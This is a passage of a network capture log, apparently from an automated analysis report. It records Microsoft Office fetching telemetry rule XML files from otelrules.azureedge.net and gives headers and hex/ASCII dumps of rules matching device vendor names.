2024-11-01 04:53:00 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f312709b-601e-0001-377c-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045300Z-159b85dff8f9mtxchC1DFWf9vg00000001t000000000d87r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:00 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cb5553aa-e01e-001f-3f7b-2a1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045300Z-159b85dff8fc5h75hC1DFWntr800000001yg00000000f3fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045300Z-16849878b785dznd7xpawq9gcn0000000c0g000000002hb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045301Z-16849878b78p8hrf1se7fucxk80000000bc000000000gmtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 045b826b-001e-0014-04b7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045301Z-159b85dff8fbbwhzhC1DFWwpe8000000038000000000135k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045301Z-16849878b786lft2mu9uftf3y40000000bx0000000000vnb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:01 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a53a16c0-d01e-00ad-32e8-2ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045301Z-15b8d89586ff5l62pee56u9uc8000000016g000000007y06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045301Z-16849878b78fssff8btnns3b140000000asg00000000hgmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:01 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: cb795b0b-301e-001f-35c7-2aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045303Z-17c5cb586f6tg7hbbt0rp19dan00000002wg000000003run x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 36372762-501e-0078-6258-2b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045303Z-17c5cb586f6p5pndayxh2uxv540000000270000000005ugg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:03 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045303Z-16849878b78wc6ln1zsrz6q9w80000000a6000000000dzae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 35d355dc-301e-0051-670f-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045303Z-17c5cb586f6tg7hbbt0rp19dan00000002wg000000003rup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
